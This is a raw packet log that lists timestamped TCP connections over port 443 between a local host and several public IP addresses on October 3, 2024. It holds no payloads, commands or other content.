Oct 3, 2024 18:18:14.504055977 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.504122972 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.504329920 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.504343033 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.513470888 CEST	443	49758	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.513761044 CEST	49758	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.513791084 CEST	443	49758	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.514669895 CEST	443	49758	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.514749050 CEST	49758	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.515113115 CEST	49758	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.515131950 CEST	49758	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.515176058 CEST	443	49758	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.515183926 CEST	49758	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.515233040 CEST	49758	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.515548944 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.515577078 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.515670061 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.515907049 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.515922070 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.516136885 CEST	443	49759	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.516349077 CEST	49759	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.516356945 CEST	443	49759	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.517795086 CEST	443	49759	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.517940044 CEST	49759	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.517971992 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.518165112 CEST	49759	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.518178940 CEST	49759	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.518222094 CEST	49759	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.518243074 CEST	443	49759	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.518291950 CEST	49759	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.518433094 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.518455982 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.518518925 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.518574953 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.518599987 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.518724918 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.518735886 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.520035028 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.520102024 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.520473003 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.520551920 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.520648003 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.520658016 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.523224115 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.524130106 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.524152994 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.524169922 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.524203062 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.524219036 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.524250984 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.527407885 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.572762966 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.572762966 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.575247049 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.575309038 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.575341940 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.575355053 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.575742006 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.575850964 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.575925112 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.575932980 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.576013088 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.576095104 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.576401949 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.576416969 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.576428890 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.576467991 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.580336094 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.580357075 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.580549002 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.580853939 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.580864906 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.615968943 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.615998030 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.616013050 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.616069078 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.616086960 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.616096020 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.616105080 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.616178036 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.616189957 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.616235018 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.616317034 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.616388083 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.616630077 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.616642952 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.633373022 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.633502960 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.633558035 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.633591890 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.633672953 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.633732080 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.633739948 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.633826017 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.633881092 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.633888006 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.633980989 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.634036064 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.634042978 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.634115934 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.634172916 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.634310961 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.634327888 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.634677887 CEST	49767	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.634701014 CEST	443	49767	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.634891033 CEST	49767	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.635237932 CEST	49767	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.635257006 CEST	443	49767	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.637736082 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.637777090 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.638062000 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.638257980 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.638272047 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.691875935 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.691989899 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.692039013 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.692080975 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.692111015 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.692128897 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.692161083 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.692177057 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.692220926 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.692223072 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.692235947 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.692353010 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.692411900 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.693166971 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.693176985 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.959533930 CEST	443	49761	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.959889889 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.959922075 CEST	443	49761	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.960273981 CEST	443	49761	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.960638046 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.960700989 CEST	443	49761	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.960784912 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.961520910 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.962140083 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.962152958 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.963593960 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.963676929 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.963978052 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.964060068 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.964158058 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.976201057 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.976547003 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.976613998 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.977658033 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.977758884 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.978077888 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.978152990 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.978193045 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.989931107 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.990217924 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.990232944 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.991336107 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.991415024 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.991689920 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.991760969 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.991820097 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.991827965 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.995326996 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.995508909 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.995523930 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.996408939 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.996480942 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.996754885 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.996812105 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.996926069 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.996934891 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.002863884 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.002878904 CEST	443	49761	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.004968882 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.004997969 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.005297899 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.005585909 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.005600929 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.007404089 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.018742085 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.018750906 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.018825054 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.018887043 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.034753084 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.050745964 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.066745043 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.066873074 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.090104103 CEST	443	49761	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.090167999 CEST	443	49761	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.090235949 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.090702057 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.090718031 CEST	443	49761	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.090728998 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.090806007 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.092164040 CEST	49770	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.092220068 CEST	443	49770	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.092313051 CEST	49770	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.092595100 CEST	49770	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.092623949 CEST	443	49770	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.097872019 CEST	443	49767	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.098119020 CEST	49767	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.098155975 CEST	443	49767	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.099618912 CEST	443	49767	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.099709034 CEST	49767	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.099999905 CEST	49767	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.099999905 CEST	49767	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.100040913 CEST	49767	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.100096941 CEST	443	49767	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.100183010 CEST	49767	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.100294113 CEST	49771	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.100320101 CEST	443	49771	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.100397110 CEST	49771	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.100610018 CEST	49771	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.100620031 CEST	443	49771	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.102802992 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.102917910 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.103013992 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.103045940 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.103058100 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.103106976 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.103115082 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.103236914 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.103300095 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.103307962 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.103378057 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.103494883 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.103503942 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.103620052 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.103681087 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.103770971 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.103776932 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.103792906 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.103867054 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.106061935 CEST	49772	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.106096983 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.106172085 CEST	49772	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.106374025 CEST	49772	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.106388092 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.109433889 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.109648943 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.109658003 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.109972000 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.110258102 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.110342979 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.110374928 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.112994909 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.113050938 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.113097906 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.113159895 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.113699913 CEST	49764	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.113743067 CEST	443	49764	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.116626024 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.116705894 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.116872072 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.117031097 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.117068052 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138000011 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138046980 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138093948 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138129950 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138164997 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138176918 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.138191938 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138228893 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.138257027 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.138295889 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138360023 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138396025 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138412952 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.138420105 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.138467073 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.142823935 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.143167019 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.143224001 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.143229961 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.155400991 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.159277916 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.159346104 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.159380913 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.159427881 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.159461021 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.159473896 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.159492970 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.159526110 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.159548044 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.159554005 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.159610033 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.160001040 CEST	49765	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.160012960 CEST	443	49765	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.162545919 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.162628889 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.162769079 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.162792921 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.163058043 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.163096905 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.193759918 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.230202913 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.230382919 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.230422020 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.230588913 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.230624914 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.230680943 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.230680943 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.230706930 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.230823994 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.230856895 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.230894089 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.230928898 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.230967045 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.230967045 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.231000900 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.231024981 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.231595993 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.231627941 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.231648922 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.231657028 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.231698036 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.231733084 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.231750965 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.231762886 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.231786013 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.232527971 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.232558966 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.232582092 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.232588053 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.232624054 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.232636929 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.232642889 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.232678890 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.232727051 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.232733011 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.232783079 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.251635075 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.251745939 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.251827002 CEST	443	49768	104.21.57.136	192.168.2.16
